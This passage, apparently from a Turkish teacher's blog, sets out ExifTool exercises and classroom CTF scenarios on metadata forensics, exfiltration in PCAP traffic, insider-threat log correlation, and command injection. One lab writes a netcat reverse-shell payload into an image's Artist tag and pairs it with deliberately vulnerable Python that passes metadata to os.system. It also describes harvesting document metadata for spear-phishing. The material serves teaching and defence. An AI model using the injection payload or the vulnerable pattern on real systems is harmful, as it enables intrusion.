print(f"Başarılı: {tahta_adi} ({ip_adresi}) verileri dosyaya gömüldü.")
return True
except subprocess.CalledProcessError as e:
print(f"Meta veri yazma hatası: {e.stderr.strip()}")
return False
# --- KULLANIM ÖRNEĞİ ---
# Ağ üzerinden gelen ekran görüntüsü geçici klasöre kaydedildiğinde:
gelen_dosya = "/tmp/gecici_ekran_goruntusu.jpg"
# Sistemin veritabanından veya SSH üzerinden çekilen bilgiler:
islem_basarili_mi = tahta_goruntusune_veri_isleme(
dosya_yolu=gelen_dosya,
tahta_adi="Lab-2 Tahta-5",
ip_adresi="192.168.1.105",
ogretmen_adi="Hasan Dağ"
)

Bu Senaryonun Sağladığı Avantajlar:

  1. Adli Bilişim (Forensics) Kolaylığı: Yıl sonunda veya bir disiplin durumunda elinizdeki yüzlerce ekran görüntüsünü incelerken, dosya adları değişmiş olsa bile ExifTool ile -UserComment veya -DocumentName etiketlerini filtreleyerek hangi tahtadan, ne zaman ve kimin oturumunda çekildiğini kesin olarak kanıtlayabilirsiniz.

  2. Temiz Veritabanı: Görsel detaylarını SQL veritabanında tutmak yerine (ki veritabanı şişebilir veya görseller veritabanından kopabilir), veriyi doğrudan dosyanın içine hapsederek taşınabilir ve bağımsız bir arşivleme yaparsınız.

Siber güvenlik, ExifTool'un adeta parladığı alanlardan biridir. Özellikle Red Team (Saldırı) ve Blue Team (Savunma) tatbikatlarında, dosya meta verileri hem kritik bir istihbarat kaynağı hem de bir saldırı vektörü olabilir.

İşte siber güvenlik süreçlerine doğrudan entegre edebileceğiniz 3 gelişmiş senaryo:

Senaryo 16: Blue Team (Savunma) - Steganografi ve Zararlı Yazılım (Malware) Analizi

Durum: Ağınıza sızmaya çalışan bir saldırgan, güvenlik duvarını ve antivirüsleri atlatmak için zararlı bir Bash betiğini (script) masum görünen bir JPEG dosyasının içine gizlemiş olabilir (Steganografi). Saldırganlar genellikle bu zararlı kodları -Comment, -Copyright veya -DocumentName gibi uzun metin alabilen etiketlerin içine Base64 formatında kodlayarak yerleştirirler. Çözüm: Şüpheli dosyanın içindeki belirli bir etiketi ikili veri (binary) olarak dışarı çekip, doğrudan terminalde çözerek (decode) içindeki asıl komutu ortaya çıkarmak.

Bash
# Şüpheli resmin "Comment" etiketindeki veriyi çek ve base64 ile çöz
exiftool -b -Comment supheli_resim.jpg | base64 -d

Adli Bilişim İpucu: Eğer çıktı olarak #!/bin/bash ile başlayan veya sistem dosyalarına (/etc/shadow vb.) erişmeye çalışan bir komut seti görürseniz, bu sıradan bir fotoğraf değil, tetiklenmeyi bekleyen bir "dropper" dosyasıdır.

Senaryo 17: Red Team (Saldırı) - OSINT ve İç Ağ İstihbaratı Toplama

Durum: Kapsamlı bir sızma testi (penetration test) yürütüyorsunuz. Hedef sistemin altyapısı hakkında hiçbir bilginiz yok. Ancak hedef kurumun halka açık web sitesinde yayınlanmış çeşitli kılavuzlar, PDF belgeleri ve duyuru görselleri bulunuyor. Bu belgeleri toplayarak hedef kurumun kullandığı yazılımları, işletim sistemlerini ve iç ağ mimarisini haritalandırmak istiyorsunuz. Çözüm: İndirilen tüm dokümanları ExifTool ile tarayıp, iç ağdaki kullanıcı adlarını ve yazılım versiyonlarını sızdırmak.

Bash
# PDF ve ofis belgelerinden yazar, yazılım versiyonu ve dosya yollarını çekme
exiftool -Author -Creator -Producer -Warning /indirilen_belgeler/

Zafiyet Keşfi: Çıktıda Producer: Acrobat Distiller 8.1.0 (Windows) gibi çok eski bir yazılım sürümü veya /Users/hasan/Desktop/gizli_proje/ gibi kurumun iç ağ yapısını ele veren dosya yolları tespit edilebilir. Bu bilgiler, bir sonraki aşamada gerçekleştirilecek hedef odaklı oltalama (spear-phishing) saldırıları için paha biçilmezdir.

Senaryo 18: Ağ Trafiği Analizi ve Otomatik Meta Veri Ayıklama (Tshark / Suricata Entegrasyonu)

Durum: Ağ güvenliği dersi veya bir tatbikat kapsamında, öğrencilerin veya katılımcıların ağ üzerinden indirilen dosyaları nasıl analiz edeceklerini görmelerini istiyorsunuz. Tshark (veya Wireshark) ile ağ trafiğini (PCAP dosyası) dinlediniz ve HTTP üzerinden indirilen tüm görselleri bir klasöre çıkarttınız (extract ettiniz). Şimdi bu görsellerin içinde anomali aramanız gerekiyor. Çözüm: Bash betiği kullanarak klasördeki tüm dosyaları ExifTool ile taramak ve sadece "içinde potansiyel kod çalıştırılabilecek kadar uzun karakter barındıran" etiketleri filtrelemek.

Bash
# Ağdan çıkarılan dosyalardaki 100 karakterden uzun gizli metinleri bulma
exiftool -if 'length($Comment) > 100' -FileName -Comment /pcap_extracted_files/

Otomasyon İpucu: Bu yaklaşımı Pardus üzerindeki bir bash betiğiyle otomatikleştirerek, Suricata gibi bir IDS'ten (Saldırı Tespit Sistemi) uyarı geldiğinde ağdaki dosyayı anında yakalayıp meta veri analizi yapan bir savunma mekanizması kurabilirsiniz.

11. sınıf Bilişim Teknolojileri öğrencilerinizin Red Team vs. Blue Team tatbikatında doğrudan kullanabileceği, Pardus laboratuvar ortamına tam uyumlu bir CTF (Capture the Flag) "Bayrağı Yakala" görev dosyası hazırladım.

Bu senaryoda siz (Red Team) zararlı bir kodu resim dosyasına gizleyeceksiniz, öğrenciler (Blue Team) ise ağ trafiğini ve meta verileri analiz ederek bu tehdidi bulmaya çalışacaklar.

CTF Senaryosu: Operasyon Gizli Katman (Steganografi ve Ağ Analizi)

Hedef Kitle: Blue Team (Savunma Ekibi - 11. Sınıf)

Kullanılacak Araçlar: Pardus Terminal, Tshark / Wireshark, ExifTool, Base64

Amaç: Ağa sızan zararlı bir yazılımın (dropper) iletişim yöntemini tespit etmek ve gizli bayrağı (FLAG{...}) bulmak.

BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükünü Oluşturma)

Bu adımları tatbikattan önce kendi bilgisayarınızda uygulayarak hedef dosyayı hazırlamalısınız.

1. Bayrağı Base64 ile Şifreleyin:

Öğrencilerin bulmasını istediğimiz gizli mesajı (zararlı kod simülasyonu) oluşturun ve Base64 formatına çevirin.

Bash

echo "FLAG{P4rdus_M3t4d4t4_Avcisi}" | base64
# Çıktı: RkxBR3tQNHJkdXNfTTN0NGQ0dDRfQXZjaXNpfQo=

2. Şifreyi Masum Bir Resme Gömün:

Normal bir okul veya doğa fotoğrafı (manzara.jpg) seçin. Öğrencileri şaşırtmak için sahte bir telif hakkı bilgisi ekleyin ve asıl şifreyi Comment (Yorum) etiketine gömün.

Bash
exiftool -Copyright="© 2026 nuritiras.com.tr" -Comment="RkxBR3tQNHJkdXNfTTN0NGQ0dDRfQXZjaXNpfQo=" manzara.jpg

İsteğe Bağlı: Bu resmi bir web sunucusuna (Nginx vb.) koyup, laboratuvardaki bir cihazdan curl veya wget ile indirerek PCAP (ağ trafiği) dosyasını oluşturabilirsiniz.

BÖLÜM 2: Öğrenci Görev Yönergesi (Öğrencilere Verilecek Belge)

📜 Olay Yeri Raporu (Senaryo Hikayesi)

Tarih: 04 Haziran 2026

Konu: Şüpheli Ağ Aktifliği

Sayın Blue Team Analistleri,

Okulumuzun ağ izleme sistemleri (Suricata), saat 10:30 sularında dışarıdaki bilinmeyen bir sunucudan laboratuvarımızdaki bir Pardus makinesine şüpheli bir dosya indirildiğini tespit etmiştir. İndirilen dosya standart bir JPEG görseli gibi görünmektedir ancak sistem yöneticilerimiz dosyanın içerisinde ağımıza arka kapı (backdoor) açacak gizli bir kodun taşındığından şüphelenmektedir.

Göreviniz: Size teslim edilen manzara.jpg dosyasını adli bilişim araçlarıyla analiz etmek, gizlenmiş zararlı komutu bulmak ve komutu deşifre ederek raporlamaktır.

🛠️ Görev Adımları

Görev 1: İstihbarat Toplama (Meta Veri Taraması)

Öncelikle dosyanın içerisindeki tüm meta verileri dökerek standart dışı bir metin veya kod parçası aramalısınız.

  • Pardus terminalinizi açın.

  • exiftool kullanarak dosyanın tüm meta verilerini listeleyin. Sadece tarih veya boyut bilgilerine değil, özellikle metin içerebilen etiketlere (Yazar, Açıklama, Yorum, Telif Hakkı) dikkatlice bakın.

Görev 2: Anomali Tespiti

Çıktıyı incelediğinizde, normal bir fotoğrafta olmaması gereken, anlamsız harf ve rakamlardan oluşan karmaşık bir metin dizisi (string) göreceksiniz.

  • İpucu: Saldırganlar genellikle bu verileri filtrelemek için -b parametresini kullanmadan doğrudan okumanızı zorlaştırabilirler. İlgili etiketin tam adını bulun.

Görev 3: Veriyi Çıkartma (Extraction)

Bulduğunuz şüpheli etiketi (örneğin X etiketi olsun), diğer meta verilerden izole ederek doğrudan terminale yazdırın.

  • Kullanılacak Komut Formatı: exiftool -[EtiketAdı] dosya_adi.jpg

Görev 4: Deşifre (Decoding) ve Bayrağı Ele Geçirme

Bulduğunuz o karmaşık metin aslında siber güvenlikte çok sık kullanılan bir şifreleme/kodlama yöntemi olan Base64 ile kodlanmıştır. Son adım olarak, Pardus üzerinde yerleşik bulunan base64 aracını kullanarak bu metni çözün.

  • İpucu: Veriyi pipe (|) operatörü ile doğrudan deşifre aracına yönlendirebilirsiniz. Komutunuz şu yapıya benzemelidir:

    exiftool -b -[EtiketAdı] dosya_adi.jpg | base64 -d

Başarıyla çözdüğünüzde ekranda FLAG{...} formatındaki bayrağı göreceksiniz. Bayrağı bulduğunuzda eğitmeninize raporlayın!

📋 Değerlendirme Rubriği (Notlandırma Anahtarı)

Öğrencilerinizin adımları tamamlama durumuna göre kullanabileceğiniz hızlı bir rubrik:

KriterPuanAçıklamaBeklenen Çıktı/Komut
Meta Veri Okuma25 PuanExiftool'u dosya üzerinde temel düzeyde çalıştırabilme.exiftool manzara.jpg
Anomaliyi Tespit Etme25 PuanÇıktılar arasındaki Base64 dizilimini (Comment etiketi) fark etme.Yorum satırındaki şüpheli diziyi raporlama.
Veri İzolasyonu25 PuanSadece şüpheli etiketi ekrana yazdıracak komutu kurabilme.exiftool -Comment manzara.jpg
Deşifre (Decoding)25 PuanÇıktıyı pipe (|) ile base64 aracına bağlayıp bayrağı (FLAG{...}) elde etme.exiftool -b -Comment manzara.jpg | base64 -d

Ağ güvenliği ve paket analizi konularını işin içine katarak, laboratuvar ortamınızdaki tatbikatlar için harika bir "Veri Sızdırma" (Data Exfiltration) senaryosu daha hazırladım.

Bu senaryo, öğrencilerin sadece bir dosyayı değil, ağ trafiğini (PCAP) inceleyerek dosyayı bulmalarını ve ardından ExifTool ile içindeki sızdırılmış veriyi yakalamalarını gerektiriyor. Tshark/Wireshark pratikleri için mükemmel bir sınav veya proje modülü olabilir.

CTF Senaryosu 2: Operasyon Hayalet Veri (Data Exfiltration)

Hedef Kitle: Blue Team (Savunma Ekibi - 11. Sınıf)
Kullanılacak Araçlar: Wireshark / Tshark, ExifTool, Pardus Terminal
Amaç: Kurum dışına çıkarılan (sızdırılan) gizli bir parolayı ağ trafiğinden tespit etmek.
Senaryo Konsepti: Saldırganlar ağa sızmış, sunucu parolasını ele geçirmiş ve bunu güvenlik duvarlarına (Firewall/IDS) yakalanmadan dışarı çıkarmak için masum görünen bir PDF belgesinin meta verilerine gizlemiştir.

BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükünü Oluşturma)

Bu adımları tatbikattan önce uygulayarak laboratuvar ortamı için örnek bir PCAP (ağ trafiği) dosyası oluşturmalısınız.

1. Sızdırılacak Veriyi PDF'e Gömün:
Elinizde Pardus_Klavuzu.pdf adında standart bir belge olsun. Ele geçirilen yönetici parolasını (Bayrağı) belgenin "Anahtar Kelimeler" (Keywords) veya "Konu" (Subject) etiketine yerleştirin.

Bash
exiftool -Keywords="FLAG{4g_Tr4figi_4n4liz_3dildi}" Pardus_Klavuzu.pdf

2. Ağ Trafiği (PCAP) Oluşturma:
Pardus sunucunuzda veya test makinenizde Tshark (veya Wireshark) ile ağ dinlemeyi başlatın. Ardından bu PDF dosyasını basit bir HTTP sunucusu üzerinden veya netcat ile başka bir makineye gönderin.

  • Basit HTTP Sunucusu (Dosyanın olduğu klasörde çalıştırın): python3 -m http.server 8080

  • Tshark Dinlemesi (Ayrı terminalde): tshark -w veri_sizintisi.pcap -i eth0 (Kendi arayüzünüzü yazın)

  • Diğer makineden dosyayı çekin: wget http://sunucu_ip:8080/Pardus_Klavuzu.pdf

  • Tshark dinlemesini durdurun. Artık elinizde öğrencilere vereceğiniz veri_sizintisi.pcap dosyası var.

BÖLÜM 2: Öğrenci Görev Yönergesi

📜 Olay Yeri Raporu

Konu: Yetkisiz Veri Çıkışı (Exfiltration) Şüphesi

Sayın Blue Team Analistleri,
Sistem yöneticilerimiz, ana sunucumuzdan dışarıya doğru şüpheli bir dosya transferi tespit etmiştir. Saldırganların kurumumuza ait kritik bir veriyi dışarı sızdırdığını düşünüyoruz. Güvenlik sistemlerimiz bu transfer anının ağ paketlerini (PCAP) kaydetmeyi başarmıştır.

Göreviniz: Size verilen veri_sizintisi.pcap dosyasını analiz ederek, ağ üzerinden transfer edilen dosyayı bulmak, bu dosyayı ağ trafiğinden dışarı çıkartmak (extract) ve içine gizlenmiş olan sızdırılmış parolayı (bayrağı) tespit etmektir.

🛠️ Görev Adımları

Görev 1: Ağ Trafiği Analizi (Wireshark/Tshark)

  • Size verilen .pcap dosyasını Wireshark ile açın veya Tshark komutlarıyla analiz edin.

  • Hedefiniz HTTP trafiğini (port 80 veya 8080) filtrelemek ve ağ üzerinden hangi dosyanın indirildiğini bulmaktır. (Örn: http.request filtresini kullanabilirsiniz).

Görev 2: Dosyayı Ağ Paketlerinden Çıkartma (Extraction)

  • Dosya transferini bulduktan sonra, bu dosyayı PCAP içerisinden bilgisayarınıza kaydetmelisiniz.

  • Wireshark İpucu: File -> Export Objects -> HTTP menüsünü kullanarak PDF dosyasını masaüstünüze kaydedin.

Görev 3: Adli Meta Veri İncelemesi (ExifTool)

  • Ağdan başarıyla çıkardığınız belge ilk bakışta normal bir PDF gibi açılabilir. Tuzağa düşmeyin!

  • Terminali açın ve exiftool kullanarak belgenin detaylı haritasını çıkarın.

  • Saldırganlar genellikle IDS/IPS (Saldırı Tespit Sistemleri) kurallarını atlatmak için metin tabanlı verileri Keywords (Anahtar Kelimeler) gibi gözden kaçan alanlara saklarlar.

Görev 4: Bayrağı Tespit Etme

  • Gizlenmiş veriyi bulduğunuzda, parola FLAG{...} formatında olacaktır.

💡 Neden Bu Senaryo Önemli?

Bu CTF modülü, öğrencilerinize siber güvenliğin çok katmanlı olduğunu gösterir.
Sadece diskteki bir dosyayı incelemek yetmez (Host-based forensics); aynı zamanda ağda dolaşan paketleri yakalamaları (Network forensics) ve bu ikisini birleştirerek bir tehdidi ortaya çıkarmaları gerekir.

Öğrenciler, Suricata veya Nmap gibi araçlarla ağ güvenliği çalışırken, işin "veri sızdırma" (DLP - Data Loss Prevention) boyutunu da uygulamalı olarak öğrenmiş olurlar.

Senaryoyu zorlaştırmak isterseniz, Red Team hazırlık aşamasında ExifTool komutunu çalıştırırken bayrağı doğrudan değil, yine Base64 ile şifreleyerek Keywords alanına ekleyebilirsiniz. Böylece öğrenciler PDF'i ağdan çıkardıktan sonra bir de şifre çözme (decoding) aşaması yapmak zorunda kalırlar.


Harika bir ivme yakaladık! Ağ paketlerini ve standart steganografiyi geride bırakıp, siber güvenlikte çok daha sinsi ve ileri düzey bir saldırı vektörüne geçelim: Meta Veri Üzerinden Komut Enjeksiyonu (Command Injection). Özellikle kendi geliştirdiğiniz yönetim panellerinde veya otomasyon betiklerinde veri doğrulamanın (input validation) ne kadar kritik olduğunu 11. sınıf öğrencilerine çarpıcı bir şekilde gösterecek bir laboratuvar senaryosu hazırladım.

CTF Senaryosu 3: Operasyon Zehirli Arkaplan (Zafiyet Analizi ve Olay Müdahalesi)

Hedef Kitle: Blue Team ve Yazılım Geliştirme Ekipleri (11. Sınıf)
Kullanılacak Araçlar: ExifTool, Python, Linux Sistem Logları
Amaç: Zararsız görünen bir meta verinin, arka planda çalışan dikkatsiz bir kod bloğu yüzünden sisteme nasıl sızabileceğini (Reverse Shell) tespit etmek ve yamamak.

📜 Olay Yeri Raporu ve Hikaye

Konu: Sunucuda Beklenmeyen Arka Kapı (Backdoor)

Sayın Analistler,
Okulumuzdaki Pardus ETAP (Cinnamon masaüstü) akıllı tahtalarını merkezi olarak yönettiğimiz EtapMYS kontrol panelinde bir anomali tespit edilmiştir. Sistem yöneticisi Hasan Dağ, güvenlik duvarı loglarını incelerken, 3 numaralı laboratuvardaki bir tahtadan dışarıdaki bilinmeyen bir IP adresine şüpheli bir Netcat (nc) bağlantısı açıldığını raporlamıştır.

Sistemde yapılan tek değişiklik, sabah saatlerinde tüm tahtalara yeni bir "19 Mayıs Atatürk'ü Anma" temalı arkaplan görselinin (19mayis_arkaplan.jpg) panel üzerinden toplu olarak gönderilmesidir.

Göreviniz: Bu görselin içine gizlenmiş tetikleyici (payload) komutu bulmak, Python ile yazılmış yönetim panelimizdeki zafiyeti tespit etmek ve bu saldırının nasıl başarılı olduğunu raporlamaktır.

BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükünü Oluşturma)

Saldırgan (Red Team rolündeki siz), görselin meta verisine masum bir yazar adı yerine, doğrudan işletim sisteminde çalışacak bir terminal komutu yerleştirir.

1. Zehirli Görseli Hazırlama:
Herhangi bir .jpg dosyası alın ve Artist (Yazar) etiketine bir tersine kabuk (reverse shell) komutu enjekte edin. Backtick () veya $()` kullanarak komutun Linux terminalinde çalışmasını hedefleyin.

Bash
exiftool -Artist="\$(nc -e /bin/bash 192.168.1.50 4444)" 19mayis_arkaplan.jpg

(Not: 192.168.1.50 saldırganın dinleme yaptığı IP'dir. Eğitim ortamında zararsız bir $(touch /tmp/hacked.txt) komutu da kullanabilirsiniz.)

2. Zafiyetli Kodu Çalıştırma (Simülasyon):
EtapMYS gibi sistemlerde, arkaplanı değiştiren ve log tutan bir Python betiği olduğunu varsayalım. Zafiyet, Python'un alınan meta veriyi temizlemeden doğrudan işletim sistemine (shell) göndermesinden kaynaklanır.

Python
# zafiyetli_sistem.py (Öğrencilerin inceleyeceği kod parçası)
import subprocess
import os

dosya_yolu = "/usr/share/backgrounds/19mayis_arkaplan.jpg"

# ExifTool ile yazar bilgisini çekiyoruz
yazar_bilgisi = subprocess.getoutput(f"exiftool -b -Artist {dosya_yolu}")

# ZAFİYET BURADA: Çekilen veri temizlenmeden doğrudan OS'e gönderiliyor!
# İşletim sistemi bu log komutunu çalıştırırken, içindeki $(nc ...) komutunu da tetikler.
os.system(f"logger 'Arkaplan değiştirildi. Eser Sahibi: {yazar_bilgisi}'")

BÖLÜM 2: Öğrenci Görev Adımları (Olay Müdahalesi)

Görev 1: Kanıt Toplama ve Meta Veri Analizi
Öğrenciler şüpheli 19mayis_arkaplan.jpg dosyasını alıp ExifTool ile detaylı bir taramadan geçirmelidir.

  • Beklenen Eylem: exiftool 19mayis_arkaplan.jpg komutunu çalıştırıp, Artist veya diğer etiketlerde yer alan OS komutlarını (örn: $(nc -e /bin/bash ...)) fark etmek.

Görev 2: Zafiyetin Kaynağını (Root Cause) Bulma
Öğrencilere sistemin arkaplan değiştirme betiğinin kaynak kodları (zafiyetli_sistem.py) verilir. Öğrencilerden, meta verideki bu zararlı komutun nasıl tetiklendiğini bulmaları istenir.

  • Beklenen Tespit: os.system() fonksiyonunun dışarıdan gelen veriyi (ExifTool çıktısını) hiçbir güvenlik filtresinden geçirmeden doğrudan Terminal'e (Shell) ilettiğini tespit etmek.

Görev 3: Güvenlik Yaması (Patching) Geliştirme
Öğrencilerden, Python kodundaki bu Command Injection (Komut Enjeksiyonu) zafiyetini kapatmaları istenir.

  • Beklenen Çözüm: os.system() yerine, shell kullanımını engelleyen güvenli subprocess.run() listeli argüman yapısına geçilmesi veya gelen ExifTool verisinin sadece alfanümerik karakterler (A-Z, 0-9) içerip içermediğinin (Regex ile) kontrol edilmesi.

💡 Neden Bu Senaryo Önemli?

Bu senaryo, öğrencilere "veri veridir, kod koddur" yanılgısını kırar. Bir resim dosyasının içindeki yazar adının bile, eğer yazılım geliştirici dikkatli değilse, IBM x3500 M4 üzerindeki devasa bir Proxmox sunucusunu veya bir laboratuvar dolusu akıllı tahtayı saniyeler içinde ele geçirebileceğini gösterir. Savunmanın sadece ağda (Blue Team) değil, kod yazarken (Secure Coding) başladığını harika bir şekilde kanıtlar.

Siber güvenlik dünyasında tehditler sadece dışarıdan gelmez; bazen en büyük risk içeridedir. Öğrencilerinize "Açık Kaynak İstihbaratı" (OSINT) ve "Dijital Adli Bilişim" (Digital Forensics) yeteneklerini fiziksel bir olayla birleştirerek öğretebileceğiniz, doğrudan laboratuvar ortamınızdaki donanımları hikayeye katan sürükleyici bir senaryo daha hazırladım.

CTF Senaryosu 4: Operasyon İçerideki Tehdit (Insider Threat & OSINT)

Hedef Kitle: Blue Team (11. Sınıf - Olay Müdahale Ekibi)
Kullanılacak Araçlar: ExifTool, Linux Sistem Logları (grep, awk)
Amaç: Sızdırılmış bir fotoğrafın meta verilerini inceleyerek "İçerideki Tehdidi" (Insider Threat) tespit etmek ve laboratuvar erişim loglarıyla eşleştirerek suçluyu bulmak.

📜 Olay Yeri Raporu

Konu: Gizli Altyapı Bilgilerinin Sızdırılması

Sayın Analistler,
Okulumuzun ana omurgasını oluşturan IBM x3500 M4 sunucumuzun ve üzerindeki Proxmox sanallaştırma mimarisinin yapılandırma ekranını gösteren bir fotoğraf, anonim bir hacker forumunda paylaşılmıştır.

Dışarıdan bir sızma emaresi yoktur. Bu fotoğrafın laboratuvardaki bir cihazla, fiziksel olarak içeride bulunan biri tarafından çekildiği ve sızdırıldığı kesindir. Elimizde forumdan indirilmiş sunucu_sizinti.jpg dosyası ve olay gününe ait laboratuvar DHCP/Erişim log kayıtları (erisimgunlugu.txt) bulunmaktadır.

Göreviniz: Fotoğrafı adli bilişim yöntemleriyle analiz edip fotoğrafın hangi marka/model cihazla ve tam olarak saat kaçta çekildiğini bulmak. Ardından bu bilgileri erişim günlüğüyle çapraz sorgulayarak sızıntıyı yapan cihazın IP adresini ve kullanıcısını tespit etmektir.

BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükü ve Log Üretimi)

Bu tatbikat için öğrencilere vereceğiniz sahte log dosyasını ve fotoğrafı manipüle etmeniz gerekiyor.

1. Sızdırılan Fotoğrafı Hazırlama:
Sunucu veya bilgisayar ekranının normal bir fotoğrafını çekin. Ardından ExifTool ile bu fotoğrafın içine spesifik bir cihaz bilgisi ve kasten değiştirilmiş bir saat gömün.

Bash
# Fotoğrafa kurgusal bir telefon markası ve seri numarası ekliyoruz
exiftool -Make="PardusMobile" -Model="SecurPhone v2" -SerialNumber="PRD-11-BT-404" -CreateDate="2026:06:04 14:15:33" sunucu_sizinti.jpg

2. Sahte Erişim Logu Oluşturma (erisimgunlugu.txt):
Öğrencilerin analiz etmesi için o gün laboratuvara bağlanan cihazların listesini içeren basit bir metin belgesi oluşturun. İçine "suçlunun" cihazını da ekleyin.

Plaintext
14:02:11 - IP: 192.168.1.101 - Cihaz: Samsung Galaxy S23 - MAC: aa:bb:cc:dd:ee:11
14:10:05 - IP: 192.168.1.102 - Cihaz: iPhone 13 - MAC: aa:bb:cc:dd:ee:22
14:12:45 - IP: 192.168.1.105 - Cihaz: PardusMobile SecurPhone v2 - MAC: 00:11:22:33:44:55 (Şüpheli)
14:18:20 - IP: 192.168.1.108 - Cihaz: Xiaomi Redmi Note 12 - MAC: aa:bb:cc:dd:ee:33

BÖLÜM 2: Öğrenci Görev Adımları (Blue Team Soruşturması)

Görev 1: Kanıt İncelemesi (Device Fingerprinting)
Öğrenciler öncelikle forumdan indirilen fotoğrafın kaynağını bulmalıdır.

  • Terminalde exiftool sunucu_sizinti.jpg komutunu çalıştırarak cihazın markasını (Make), modelini (Model) ve donanım seri numarasını (SerialNumber) tespit etmelidirler.

Görev 2: Zaman Çizelgesi (Timeline) Analizi
Siber güvenlikte en önemli şeylerden biri olayların zaman damgasıdır (Timestamp).

  • Öğrenciler CreateDate (Oluşturulma Tarihi) etiketini bularak, fotoğrafın tam olarak hangi saniyede çekildiğini not etmelidir. (Örn: 14:15:33).

Görev 3: Log Korelasyonu ve Tehdit Avı (Threat Hunting)
Öğrenciler elde ettikleri "PardusMobile" cihaz markasını ve 14:15 saatini, kendilerine verilen erisimgunlugu.txt dosyasıyla karşılaştırmalıdır.

  • Beklenen Çıkarım: "Fotoğraf 14:15'te PardusMobile cihazıyla çekilmiş. Loglara baktığımızda bu cihaz 14:12'de laboratuvar ağına bağlanarak 192.168.1.105 IP adresini almış. Tehdit unsuru bu cihazdır!"

Görev 4: Bayrağı Tespit Etme
Bu senaryoda bayrak, suçlunun cihazına ait MAC adresidir.
Beklenen Bayrak formatı: FLAG{00:11:22:33:44:55}

💡 Neden Bu Senaryo Önemli?

Bu CTF, bir siber güvenlik uzmanının sadece kodlarla veya ağ paketleriyle değil, aynı zamanda log dosyalarıyla (Log Management) çalışarak dedektiflik yapması gerektiğini öğretir. ExifTool'un bir saldırı aracından ziyade, adaleti sağlayan bir "dijital mikroskop" gibi nasıl kullanılabileceğini çok net bir şekilde örneklendirir.


Yorumlar

Bu blogdaki popüler yayınlar

Android Telefon/Tablet Ekranını Pardus ETAP 23 Yüklü Akıllı Tahtaya Yansıtma

Pardus Etap 23’de Unutulmuş Etap Yetkili Parolasını Sıfırlama

Pardus Etap 23 Yazıcı Kurulumu